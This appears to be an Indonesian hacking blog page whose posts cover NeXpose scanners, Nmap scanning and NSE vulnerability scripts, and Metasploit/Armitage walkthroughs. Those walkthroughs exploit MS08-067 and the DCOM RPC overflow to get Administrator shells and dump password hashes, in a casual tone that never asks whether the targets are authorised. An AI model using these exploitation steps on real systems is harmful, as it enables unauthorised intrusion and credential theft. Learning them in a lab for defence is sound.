Get our toolbar!

Halaman

Tampilkan postingan dengan label Hacking. Tampilkan semua postingan
Tampilkan postingan dengan label Hacking. Tampilkan semua postingan

Rabu, 02 Januari 2013

NeXpose Enterprise Edition

NeXpose Enterprise Edition adalah resiko keamanan intelijen solusi yang dirancang untuk organisasi dengan jaringan besar. Ini percobaan 7-hari bebas membuka semua fitur NeXpose termasuk penemuan, deteksi, verifikasi, risiko, pelaporan klasifikasi analisis dampak, dan fitur mitigasi.
Dengan pemindai kerentanan Perusahaan Anda dapat

     Skala untuk IP Unlimited (Hingga 512 IP untuk diadili)
     Memindai aplikasi web dan menyesuaikan template scan untuk mengoptimalkan pemindaian
     Temukan dan memindai aset virtual
     Pengaturan penilaian konfigurasi canggih dan manajemen kebijakan
     Membuat laporan kepatuhan (misalnya PCI) dan laporan remediasi
     Buat ekspor CSV kustom & template laporan kustom untuk laporan lanjutan
     Mengintegrasikan dengan sistem keamanan perusahaan (misalnya, SIEM, GRC, IPS, dll)
     Pilih model penyebaran beberapa (software, alat, dikelola layanan, mesin virtual)

     Windows ato Linux
Silahkan Download Disini
Nexpose Virtual Appliance Enterprise 
Disini

NeXpose Community

NeXpose Community Edition adalah gratis, single-user kerentanan scanner yang dirancang khusus untuk penggunaan individu dan organisasi dengan kurang dari 30 orang. Ini didukung oleh pemenang penghargaan mesin kami scan dan menawarkan fitur-fitur terkini. Dukungan tersedia melalui Komunitas Rapid7 luas.
Dengan pemindai kerentanan komunitas Anda dapat

     Memindai hingga 32 IP
     Memindai jaringan, OS dan DBs
     Deployment Pilihan: software


Silakah Downlod untuk:
Windows 32bit
Windows 64bit
Linux 32bit
Linux 64bit
Linux Virtual

 




 

Senin, 31 Desember 2012

0wned network dengan metasploit+armitage

0wned network dengan metasploit+armitage 

sebenarnya armitage dah lama sih rilisnya, cuman ane baru tau dan baru belajar, pertama ane nyoba di ubuntu ane 10.10 cuman ga berhasil, ga tau kenapa, udah muter2 goolge nyari dokumentasi tapi tetap ga berhasil, padahal udah nyoba yan pake portgressql juga tetep ga sukses, akhirnya ane balik ke Backtrack 4 untuk nyoba, karena udah mentok ga bisa di ubuntu,(mungkin ada yang bisa share ya caranya)

armitage sebuah tools untuk penetarsi di jaringan, dengan armitage kita ga perlu mengetikan perintah-perintah metasploit dalam konsole, karena armitage menyediakannya dengan option tinggal klik aja, untuk lebih jelas tentang armitage silahkan Disini:
Windows 
Back|Track

mari kita mencoba tools yang baru saya kenal ini :P
armitage berbasis java, so harus install java biar extension .jar bisa jalan

Code:
sudo apt-get install javasdk6

trus armitage juga berjalan di atas metasploit versi 3.5 keatas, kalo backtrack masih pake versi di bawahnya silahkan di update aja metasploitnya, kalo sudah satnya kita install armitage di backtrack kita
Code:
sudo apt-get install artmitage

atau download di disini
Code:
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xvzf armitage122210.tgz

jalankan Mysql di backtrack
Code:
root@bt:~# /etc/init.d/mysql start

kalo mysql di bactrack udah jalan, kita harus jalankan daemon metasploit RPC
Code:
root@bt:~# msfrpcd -f -U msf -P test -t Basic

secara default armitage akan berada di /pentest/exploits/armitage/ kalo kita install menggunakan apt-get jika tidak silahkan sesuikan tempat isntallnya
Code:
root@bt:~# cd /pentest/exploits/armitage/
root@bt:/pentest/exploits/armitage# ./armitage.sh

akan muncul windows untuk connection sperti berikut

[Image: connectf.png]

kemudian saatnya kita scan network kita, piliha aja smb_version dan tentukan range untuk RHOSTS yang akan kita scan,
Code:
menu->host->msf-scan
atau melalui option yang ada si samping kiri pilih smb_version

hasilnya seperti berikut

[Image: 5hosts.png]

kalo target dah dapet, saatnya kita mencoba exploitasi, ane menggunakan exploit MS08-067, karena paling banyak windows XP masih emiliki bug yang bisa di exploitasi dengan MS08-067, kita ga perlu susah-susah, tinggal pilih jenis exploitas dan klik, maka armitage akan melakukan exploitasi untuk kita,
Code:
menu-attack->browser attack->[pilih jenis attack]

jika berhasil maka armitage akan memberikan tanda berupa icon warna merah pada PC yang telah kita scan sebelumnya

[Image: 1shell.png]

dengan begitu kita sudah berhasil mengkompromise target, tinggal pilih mode attack yang ada pada menu attack,misal command shell, file browser, atau yang laen, atau bahkan kita bisa dump hash passwrod dari target yang laen,

[Image: 5shells.png]

dengan beberapa kali klik kita udah bisa 0wned target, bahkan banyak yang bisa kita lakukan dengan lahirnya armitage ini, yang penting kita lebih kreatif dalam hal menetukan target dan apa yang harus di lakukan dengan target,

kalo mau liat videonya bisa disini


Hacking dengan Metasploit

Hacking dengan Metasploit 
 
Rasa penasaran saya muncul ketika banyak forum security membicarakan tentang Metasploit.

Apakah itu metasploit ? Sulitkah menggunakannnya ? Saatnya membuka sedikit rahasia para Lamer (Hacker kelas teri) yang seringkali menyombongkan diri, padahal yang mereka lakukan hanyalah menggunakan tools yang dapat digunakan oleh anak SMP sekalipun.

Untuk memberikan gambaran dan mempermudah penjelasan, saya akan memberikan contoh bug pada service DCOM Windows yang dulu sangat populer dimanfaatkan oleh teman-teman SMA saya dengan exploit terpopuler saat itu : KAHT (dimana saya tidak tertarik hacking pada waktu itu) untuk menembus Server Lab sekolah - yang akhirnya ketahuan dan dimarahi guru Lab .Feeling saya sih mereka berusaha mengambil soal ulangan yang diketik di server, dasar anak bandel, hehehe….

Berikut alat-alat praktek yang kita butuhkan pada percobaan kali ini :

1. Sebuah PC yang cukup bertenaga untuk virtualisasi PC.

2. Metasploit Framework, dapat di download Disini untuk:
    Windows
    Linix 32bit
    Linix 64bit
    2.1 Tambahan untuk Metasploitnya ( Nexpose ) Sangan Cocok dengan Metasploit
          silakan liat NeXpose Community Edition disini
          dan NeXpose Enterprise Edition disini

3. Microsoft Windows NT SP3-6a/2000/XP/2003 yang memiliki bug pada service DCOM.

4. Vmware, dapat di download disini.

Vmware disini digunakan untuk membuat virtualisasi jaringan komputer, sehingga memudahkan anda yang hanya memiliki 1 PC saja dirumah.

Saya akan melompati langkah-langkah menginstall VMware dan juga cara menginstall Windows di VMware, sebab apabila anda tidak mengerti hal tersebut, kemungkinan besar anda juga tidak akan paham yang kita bahas disini.

Sebagai permulaan kita akan memulai dengan mengenal lebih dekat Metasploit Framework. Pada situs pembuatnya dipaparkan secara gamblang tentang apa itu Metasploit framework, dan juga tujuan penggunaannya :


Code:
What is it?

    The Metasploit Framework is a development platform for creating security tools and exploits. The framework is used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform regression testing, and security researchers world-wide. The framework is written in the Ruby programming language and includes components written in C and assembler.
    What does it do?

    The framework consists of tools, libraries, modules, and user interfaces. The basic function of the framework is a module launcher, allowing the user to configure an exploit module and launch it at a target system. If the exploit succeeds, the payload is executed on the target and the user is provided with a shell to interact with the payload.

Semuanya saya biarkan tertulis dalam bahasa orang bule :) sebab ada kata-kata yang tidak pas atau tidak bisa dipadankan bila diterjemahkan dalam Bahasa Indonesia.

Selanjutnya untuk lebih jauh tentang exploit maupun bug pada DCOM service dapat anda search sendiri di google, sebab terlalu panjang jika saya jelaskan disini.

Sekarang mari kita ngoprek komputer !

Langkah pertama adalah download Vmware dari situsnya, lalu anda dapat mulai menginstall Windows yang memiliki bug DCOM, kemudian jalankan windows anda di VMware !

Langkah kedua adalah download Metasploit Framework dari situsnya. Lalu install dikomputer anda dan jalankan, hingga keluar tampilan seperti berikut :

[Image: metasploit2.jpg]

Kemudian pada kotak search ketikan dcom, lalu klik Find, dan pilihlah Exploits Microsoft RPC DCOM Interface Overflow.

[Image: metasploit31.jpg]

Setelah itu kita memilih target yang akan kita exploitasi, dalam kasus kali ini Sistem Operasi target kita adalah Windows XP home, oleh karena itu pilihlah yang sesuai, lalu klik Forward :

[Image: target.jpg]

Kemudian kita dihadapkan pada pilihan payload. Payload adalah sebuah aksi yang dilakukan setelah bug berhasil di exploitasi oleh Metasploit. Untuk pembelajaran, kita pilih Generic/Shell_Bind_TCP , artinya kita akan mengambil alih Shell Bind atau lebih dikenal di lingkungan windows dengan Command Prompt dari target hacking kita. Setelah itu klik Forward.

[Image: payload.jpg]

Langkah berikutnya kita harus menentukan Target Address kita, disini saya telah mengkonfigurasi Windows XP Home di Vmware dengan IP 192.168.126.132, oleh karena itu tuliskan ip tersebut pada kolom RHOST. Sedangkan RPORT disini sudah ditentukan yaitu port 135 yang merupakan port default dari service DCOM dimana secara default dibuka oleh Windows XP Home ! Wah, berbahaya sekali yah… Untuk LPORT disini juga sudah ditentukan yaitu 4444, Local Port akan membuka sebuah port di PC anda untuk berhubungan dengan komputer target. Selanjutnya klik Forward .

[Image: target-ip.jpg]

Setelah semua konfigurasi selesai, anda akan mendapatkan pesan konfirmasi jika anda yakin semuanya telah benar,lanjutkan dengan klik Apply.

Jika target berhasil terexploitasi, anda akan mendapatkan sebuah session yang berisi target hacking kita dan siap untuk di double klik.

[Image: session.jpg]

Kemudian anda akan mendapati sebuah layar Command Prompt dari komputer target dan anda sebagai Administrator. Jika sudah begini semua terserah anda, jangan tanyakan apa yang bisa dilakukan selanjutnya.D Mudah bukan ?:):)

[Image: shell.jpg]

Semoga bermanfaat.....

Tutorial & Article NMAP

Tutorial & Article NMAP

Mungkin bagi para hacker, tool ini merupakan salah satu yang harus dikuasai dan sering digunakan karena tool ini simple dan ampuh yang digunakan untuk mengetahui host, service, sistem operasi yang digunakan oleh sistem yang akan dimasuki. Tetapi kita memepelajari ini bukan untuk menjahili orang lain dan merusak sistem orang lain, mungkin hanya untuk pengetahuan yang harus dipelajari untuk digunakan secara positif.

Nmap merupakan sebuah tool yang sudah sangat terkenal ,saking terkenalnya bahkan digunakan oleh sebuah film yang sangat terkenal. Ya siapa yang tidak tahu film Matrix Reloaded ,kalau anda teliti di akhir film itu Trinity menggunakan nmap untuk membobol sistem komputer tenaga listrik darurat yang membuat bangga pembuat tool ini yaitu Fyodor. Ya Fyodor bangga karena Matrix satu-satunya film holywood yang menggunakan metode membobol yang sungguhan tidak seperti Swordfish atau Hackers yang tidak Pernod menunjukkan cara sungguhan. Tetapi sekali lagi saya peringatkan jangan menggunakannya pada system oranglain karena itu perbuatan ilegal dan melanggar hukum yang bisa membuat anda dipenjara.
1. Instalasi Nmap
Nmap yang merupakan singkatan dari Network Mapper merupakan tools para hacker yang digunakan untuk melakukan pemetaan suatu jaringan. Dengan Nmap dapat diketahui, komputer atau host mana yang aktif dan kira-kira dapat di eksploitasi lebih lanjut. Nmap tersedia di berbagai sistem operasi mulai dari Unix, Linux hingga Windows. Anda dapat mendownload di http://www.nmap.org atau http://www.insecure.org/nmap. Pada tulisan ini kami pergunakan Nmap dengan sistem operasi Windows. Namun demikian kami tidak menggunakan versi grafis melainkan versi text atau command line, sehingga instruksi atau command line yang sama dapat Anda lakukan pada sistem operasi lainnya seperti Linux, Unix dan keluarganya. Instalasi Nmap versi windows sangat mudah, yang Anda harus lakukan adalah sebagai berikut:
1. Install Winpcap versi 2.1-beta atau versi yang lebih baru dari http://winpcap.polito.it/, yaitu WinPcap_3_0.exe (versi yang dipakai ketika tulisan ini dibuat)
2. Reboot
3. Download file program Nmap dari www.nmap.org , yaitu nmap-3.45-win32.zip (versi ketika tulisan ini dibuat)
4. Unzip file tersebut menggunakan Winzip atau utility dekompresi lainnya.
2. Memulai Nmap
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa yang tersedia dari Nmap. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui option yang tersedia dari Nmap, cukup memanggil Helpnya sebagai berikut:
C:\>nmap -h
Nmap V. 3.00 Usage: nmap [Scan Type(s)] [Options]
Some Common Scan Types (‘*’ options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p ports to scan. Example range: ’1-1024,1080,6666,31337′
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don’t ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
-T
General timing
policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes
resolve]
-oN/-oX/-oG Output normal/XML/grepable scan logs to
-iL Get targets from file; Use ‘-’ for stdin
* -S /-e Specify source address or network
interface
–interactive Go into interactive mode (then press h for help)
–win_help Windows-specific features
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 ’192.88-90.*.*’
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
C:\
Cara yang paling sederhana untuk mengetahui apakah sebuah komputer atau host aktif atau tidak aktif adalah dengan menggunakan perintah ping sebagai berikut:
C:\>ping server1
Pinging server1 [128.1.10.25] with 32 bytes of data:
Reply from 128.1.10.25: bytes=32 time<10ms TTL=128
Reply from 128.1.10.25: bytes=32 time<10ms TTL=128
Reply from 128.1.10.25: bytes=32 time<10ms TTL=128
Reply from 128.1.10.25: bytes=32 time<10ms TTL=128
Ping statistics for 128.1.10.25:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
Hasil reply di atas menunjukkan bahwa host server1 sedang aktif alias tidak mati. Jika hostnya sedang tidak aktif alias mati hasilnya adalah sebagai berikut:
C:\>ping 192.168.1.95
Pinging 192.168.1.95 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 192.168.1.95:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
Nah yang menjadi masalah dan bikin pusing adalah bagaimana jika Anda (hacker) ingin mencari tahu apakah ada host yang aktif dalam sebuah network perusahaan tertentu yang terhubung ke internet. Jika network perusahaan tersebut merupakan network kelas C maka jumlah host maksimalnya adalah 256 host. Jadi jika harus menggunakan perintah ping satu per satu, berapa kali Anda harus mengetikkan perintah ping tersebut ? Wah, tentu saja membutuhkan waktu yang lama dan tentu saja bikin pusing dan males. Nmap memberikan solusi yang cepat. Misalnya Anda ingin memeriksa apakah ada host yang aktif pada network kelas C dengan nomor IP 192.168.1.91 s/d 192.168.1.100 Maka Anda dapat memeriksa dengan perintah sebagai berikut:
C:\> nmap -sP 192.168.1.91-100
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 15:40
SE Asia
Standard Time
Host NARUTO (192.168.1.91) appears to be up.
Host SASUKE (192.168.1.92) appears to be up.
Host SAKURA (192.168.1.93) appears to be up.
Host NEJI (192.168.1.94) appears to be up.
Host LEE (192.168.1.96) appears to be up.
Host KIBA (192.168.1.97) appears to be up.
Host COUJI (192.168.1.98) appears to be up.
Host ADMINISTRASI (192.168.1.100) appears to be up.
Nmap run completed — 10 IP addresses (8 hosts up) scanned in 9.880
seconds
C:\>
Perhatikan hasil Nmap di atas bahwa dari 10 host yang discan ternyata hanya ditemukan 8 host yang aktif, IP 192.168.1.95 dan IP 192.168.1.99 tidak ditemukan atau tidak aktif atau mungkin memang tidak ada.Mudah saja bukan.
Option –sP merupakan salah satu type scanning dari Nmap berbasis ICMP, dimana umumnya dipergunakan untuk melakukan ping terhadap sejumlah IP sekaligus. Harap diperhatikan bahwa –sP bersifat case sensitive. Jika anda menggunakan –sp maka perintah tersebut tidak dikenal.
Pada umumnya server-server web publik yang baik selalu berada dibelakang firewall, sehingga biasanya proses ping dapat diblokir apabila melewati router atau firewall tersebut, akibatnya Anda tidak dapat mendeteksi apakah server web tersebut aktif atau tidak. Untuk itu diperlukan teknik lainnya untuk memastikan apakah server web tersebut dalam kondisi hidup atau tidak. Perhatikan contoh hasil ping pada server web yang berada di belakang firewall berikut ini:
C:\>ping webserver
Pinging webserver [128.1.7.13] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 128.1.7.13:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
Nmap dapat dipergunakan untuk menyiasati masalah diatas yaitu dengan melakukan scanning terhadap port yang terbuka dari host target. Jika host yang menjadi target pemeriksaan adalah server web, maka umumnya akan membuka port 80 http. Dengan memanfaatkan port 80, maka Anda dapat mendeteksi apakah host target tersebut dalam keadaan hidup atau mati.
C:\> nmap -sP -PT80 128.1.7.13
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 16:42
SE Asia
Standard Time
Host webserver (128.1.7.13) appears to be up.
Nmap run completed — 1 IP address (1 host up) scanned in 3.890 seconds
C:\>
Option –PT80 menunjukkan port yang akan dimanfaatkan adalah port 80. Default dari Nmap adalah port 80, jadi sebenarnya Anda dapat mencantumkan –PT saja untuk menunjukkan proses scanning melalui port 80.
Selanjutnya Anda dapat pula menguji coba untuk port umum lainnya. Misalnya jika host yang menjadi target Anda adalah mail maka Anda dapat menguji dengan port 25 (SMTP) atau port 110 (POP3), demikian seterusnya.
3.Port Scanning
Port scanning adalah proses koneksi ke port-port TCP atau UDP pada host yang menjadi target untuk menentukan service apa yang sedang berjalan (Listening). Dengan mengidentifikasi port-port yang listening ini Anda dapat menentukan jenis aplikasi dan sistem operasi apa yang dipergunakan pada host tersebut. Service yang dalam status listening ini memungkinkan orang yang tidak berhak menerobos ke dalam host tersebut.
Untuk mengetahui port apa saja yang listening dari sebuah host dapat menggunakan cara sebagai berikut:
C:\> nmap -sS 128.1.71.103
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on (128.1.71.103):
(The 1589 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1026/tcp open LSA-or-nterm
1031/tcp open iad2
Nmap run completed — 1 IP address (1 host up) scanned in 5 seconds
C:\>
Option –sS merupakan salah satu type scanning dari Nmap yaitu TCP SYN scan yang dipergunakan untuk mendeteksi port apa saja yang terbuka. Teknik ini sering disebut Half Open scan karena dalam melakukan evaluasi terhadap port tidak membuka hubungan komunikasi TCP/IP secara penuh. Artinya secara teknis komputer yang Anda pergunakan untuk mendeteksi port tersebut akan mengirimkan paket SYN ke host target. Jika SYN|ACK paket dikirim balik, berarti port tersebut tertutup. Setelah memperoleh paket balasan, komputer Anda akan menjawab dengan paket RST untuk me-reset hubungan yang hampir terjadi tersebut (itu sebabnya disebut half Open). Teknik ini hampir tidak terdeteksi oleh host target yang tidak secara maksimal mencatat aktifitas portnya. Istilah kerennya –sS adalah stealth scan atau scan yang tidak terdeteksi.
Untuk melakukan scan port tertentu dapat menggunakan option –p sebagai berikut:
C:\>nmap -sS -p 21,23,25,53,80,110 adminristek
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-30 14:50 SE
Asia
Standard Time
Interesting ports on adminristek (128.1.9.81):
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
53/tcp closed domain
80/tcp open http
110/tcp closed pop-3
Nmap run completed — 1 IP address (1 host up) scanned in 1.590 seconds
C:\>
Perhatikan bahwa terdapat port 53 yang sedang tidak terbuka alias close.
Lebih Jauh tentang Jenis Port Scanning pada Nmap
Setiap pengelola sistem memiliki strategi pengamanan yang berbeda-beda. Untuk itu cara-cara yang telah dijelaskan di atas mungkin tidak selalu dapat diterapkan. Nmap sendiri memberikan beberapa teknik port scanning untuk menghadapi “medan” tempur yang berbeda-beda. Untuk itu terkadang dibutuhkan latihan dan kreatifitas yang tinggi bagi Anda yang ingin menembus sistem pertahanan lawan tanpa diketahui pemiliknya (Oops, kami tidak menyarankan apalagi memprovokasi Anda lho). Diatas telah diperkenalkan beberapa option dari Nmap yang merupakan teknik scan. Berikut ini teknik scan lanjutan yang dapat Anda manfaatkan sesuai dengan medan tempur yang ada:
a. TCP connect scan -sT
Jenis scan ini terhubung ke port host target dan menyelesaikan three-way handshake (SYN, SYN/ACK dan ACK) Scan ini mudah terdeteksi oleh pengelola host target.
b. TCP SYN Scan -sS
Teknik ini dikenal sebagai half-opening scanning karena suatu koneksi penuh tidak sampai terbentuk. Suatu paket SYN dikirimkan ke port host target. Bila SYN/ACK diterima dari port host target, maka Anda dapat mengambil kesimpulan bahwa port tersebut dalam status listening. Jika RST/ACK Anda terima, biasanya menunjukkan bahwa port tersebut tidak listening. Suatu RST/ACK akan dikirim oleh mesin yang melakukan scanning sehingga koneksi penuh tidak akan terbentuk. Teknik ini bersifat siluman dibandingkan dengan TCP koneksi penuh dan tidak akan tercatat pada log host target.
c. TCP FIN scan –sF
Teknik ini mengirimkan suatu paket FIN ke port host target. Berdasarkan RFC 793, host target akan mengirim balik suatu RST untuk setiap port yang tertutup. Teknik ini hanya dapat dipakai pada stack TCP/IP berbasis Unix.
d. TCP Xmas tree scan -sX
Teknik ini mengirimkan suatu paket FIN, URG dan PUSH ke port host target. Berdasarkan RFC 793, host target akan mengembalikan suatu RST untuk semua port yang tertutup.
e. TCP Null scan -sN
Teknik ini membuat off semua flag. Berdasarkan RFC 793, host target akan mengirim balik suatu RST untuk semua port yang tertutup.
f. TCP ACK scan -sA
Teknik ini digunakan untuk memetakan set aturan firewall. Hal ini sangat membantu Anda dalam menentukan apakah firewall yang dipergunakan adalah simple packet filter yang membolehkan hanya koneksi penuh saja (koneksi dengan bit set ACK) atau suatu firewall yang menjalankan advance packet filtering.
g. TCP Windows scan -sW
Teknik ini dapat mendeteksi port-port terbuka maupun terfilter/tidak terfilter pada sistem-sistem tertentu seperti pada AIX dan Free BSD sehubungan dengan anomali dari ukuran windows TCPnya.
h. TCP RPC Scan -sR
Teknik ini spesifik hanya pada sistem Unix dan digunakan untuk mendeteksi dan mengidentifikasi port RPC dan program serta nomor versi yang berhubungan dengannya
i. UDP Scan -sU
Teknik ini mengirimkan suatu paket UDP ke port host target. Bila port host target memberikan response pesan berupa “ICMP port unreachable” artinya port ini tertutup. Sebaliknya bila tidak menerima pesan tersebut, Anda dapat menyimpulkan bahwa port tersebut terbuka. Karena UDP dikenal sebagai connectionless protocol, maka akurasi teknik ini sangat bergantung pada banyak hal sehubungan dengan penggunaan jaringan dan sistem reources lainnya.
Apapun teknik port scan yang akan Anda pergunakan, Anda perlu berhati-hati dalam menggunakan terhadap host target. Tindakan Anda melakukan port scanning ke host target yang bukan wewenang Anda dapat saja menimbulkan reaksi yang mungkin tidak Anda duga sebelumnya dari pengelola host target seperti serangan balik, pemblokiran terhadap acount oleh ISP dan sebagainya. Jadi sebaiknya Anda menguji coba pada sistem Anda sendiri.
3.Mendeteksi Sistem Operasi
Cara klasik mendeteksi sistem operasi host tertentu sebenarnya dapat dilakukan dengan cara menggunakan telnet sebagai berikut:
#telnet hpux.u-aizu.ac.jp
Trying 163.143.103.12 …
Connected to hpux.u-aizu.ac.jp.
Escape character is ‘^]’.
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
login:
Pengelola sistem komputer yang pengalaman tentu saja tidak akan memberikan banner sistem operasi dengan begitu saja dan biasanya fasilitas banner tersebut mereka memodifikasi atau dihilangkan. Jika hal tersebut terjadi, Anda dapat mencoba dengan cara lain misalnya melalui service yang terbuka semisal FTP sebagai berikut:
# telnet ftp.netscape.com 21
Trying 207.200.74.26 …
Connected to ftp.netscape.com.
Escape character is ‘^]’.
220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
SYST
215 UNIX Type: L8 Version: SUNOS
Namun demikian, semua yang default sekali lagi biasanya diubah oleh pengelola sistem komputer. Untuk itu maka umumnya para hacker langsung memanfaatkan Nmap !
Untuk mendeteksi sistem operasi dari host target, sebenarnya Anda dapat menganalisa dari hasil port scanning di atas. Apabila Anda menemukan port 139 dan 135 terbuka, maka besar kemungkinan bahwa host target adalah Windows NT. Windows NT umumnya listen pada port 135 dan 139. Berbeda dengan listen pada windows 95/98 yang hanya listen pada port 139. Aktifnya beberapa port di sistem Unix juga dapat mencirikan jenis sistem operasi tersebut.
enggunaan option –O diperuntukan untuk mendeteksi jenis sistem operasi, sebagai berikut:
C:\> nmap -O ristbook
Starting nmap V. 3.00 ( www.insecure.org/nmap )
Interesting ports on ristbook (128.1.71.103):
(The 1589 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
80/tcp open http
135/tcp open loc-srv
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1026/tcp open LSA-or-nterm
1031/tcp open iad2
Remote operating system guess: Windows Millennium Edition (Me), Win 2000,
or Win XP
Nmap run completed — 1 IP address (1 host up) scanned in 2 seconds
C:\>
Berikut ini contoh untuk hasil pada sistem operasi Linux:
C:\> nmap -O adminristek
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 18:01
SE Asia
Standard Time
Interesting ports on adminristek (128.1.9.81):
(The 1646 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
79/tcp open finger
80/tcp open http
98/tcp open linuxconf
113/tcp open auth
139/tcp open netbios-ssn
513/tcp open login
514/tcp open shell
1984/tcp open bigbrother
Device type: general purpose
Running: Linux 2.1.X|2.2.X
OS details: Linux 2.1.19 – 2.2.25, Linux 2.2.19 on a DEC Alpha
Nmap run completed — 1 IP address (1 host up) scanned in 12.020 seconds
C:\>
Berikut ini contoh untuk hasil pada sebuah Cisco 1750:
C:\> nmap -sS -O 128.1.8.5
Starting nmap 3.45
SE Asia
Standard Time
Interesting ports on 128.1.8.5:
(The 1655 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
23/tcp open telnet
79/tcp open finger
Device type: router|switch
Running: Cisco IOS 11.X
OS details: Cisco switch/router with IOS 11.1(7)-11.2(8.10), Cisco
Router/Switch
with IOS 11.2
Nmap run completed — 1 IP address (1 host up) scanned in 30.160 seconds
C:\>
Jika host target hanya membuka port 80 (http), maka kita dapat mensiasati dengan port scanning melalui port tersebut sebagai berikut:
C:\>nmap -PT80 -O webserver
Starting nmap 3.45 ( http://www.insecure.org/nmap ) at 2003-09-26 18:55
SE Asia
Standard Time
Interesting ports on webserver (128.1.7.13):
(The 1647 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
1433/tcp open ms-sql-s
1503/tcp open imtc-mcs
1720/tcp open H.323/Q.931
3372/tcp open msdtc
Device type: general purpose
Running: Microsoft Windows 95/98/ME|NT/2K/XP
OS details: Microsoft Windows Millennium Edition (Me), Windows 2000
Professional
or Advanced Server, or Windows XP
Nmap run completed — 1 IP address (1 host up) scanned in 7.520 seconds
Original source dan Ayo Kumpul Di Forum BinusHacker

Memanfaatkan Nmap Scripting Engine

Memanfaatkan Nmap Scripting Engine 
 
Siapa sih yang ga kenal ama tool ini, pasti udah banyak yang yang kenal. Apa lagi seorang SysAdmin, pasti udah jadi makanan kesehariannya. dugem
Nah sebagai pengguna komputer yang terhubung dengan jaringan, dan khususnya seorang sysadmin, melakukan pemeriksaan jaringan sangatlah penting.

Pada kesempatan kali ini, saya ingin berbagi mengenai fitur Nmap, yaitu NSE scripts.
Bagi yang belum memiliki Nmap, bisa download dan install Nmapnya dulu.
Code:
wget http://nmap.org/dist/nmap-5.51.tar.bz2 -O /usr/local/src/nmap-5.51.tar.bz2
cd /usr/local/src/
bzip2 -cd nmap-5.51.tar.bz2 | tar xvf -
cd nmap-5.51
# kita ga butuh zenmap cause cli was and always awesome
./configure --without-zenmap

Nah klo udah sampe keluar gambar naga nyembur api dari mulutnya spt gambar di bwh ini, hmm tinggal make && make install
Begitu proses installasi selesai, mari kita tengok direktori /usr/local/share/nmap/scripts/
Code:
ls /usr/local/share/nmap/scripts/
Image has been scaled down 21% (1080x608). Click this bar to view original image (1366x768). Click image to open in new window.
Image has been scaled down 16% (1080x675). Click this bar to view original image (1280x800). Click image to open in new window.
[Image: nmap.jpg]
Apaan tum om??
Wah ane juga kaga tau... Yu mari kita cek salah 1 scriptnya
Code:
nmap --script-help http-enum.nse
Nah keluar kan tuh script gunanya untuk apa..

Sekarang ceritanya ane mo coba nih ngecek web server pake script Nmap yang ada :
Code:
nmap --script "http*" crayon.gov -p 80
Command di atas bakal menjalankan Nmap dengan semua script yang berawalan dengan "http" untuk servernya crayon.gov pada port 80
( Note : kita tentuin port 80 untuk menghindari scaning semua port karena kita fokus pada http yg rata2 menggunakan port 80. kalau portnya tidak ditentukan, maka Nmap bakal scan juga semua well known port dan kita bakal nunggu waktu lama untuk itu. )
[Image: nmap1.jpg]
Wah keren om... tp udah? Cuman scan http om?
Kaga, masih banyak yg laen om.. misal salah 1 favorit ane adalah smb-check-vulns.nse buat ngecek critical vuln osnya om Bill.. hmm
Quote:smb-check-vulns
Categories: intrusive exploit dos vuln
 Disini  
Checks for vulnerabilities:
* MS08-067, a Windows RPC vulnerability
* Conficker, an infection by the Conficker worm
* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000
* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
* MS06-025, a Windows Ras RPC service vulnerability
* MS07-029, a Windows Dns Server RPC service vulnerability

WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!

Udah pada tau kan asiknya MS08-067 lewat msf. hore
Nah yuk mari coba cek MS08-067 nya
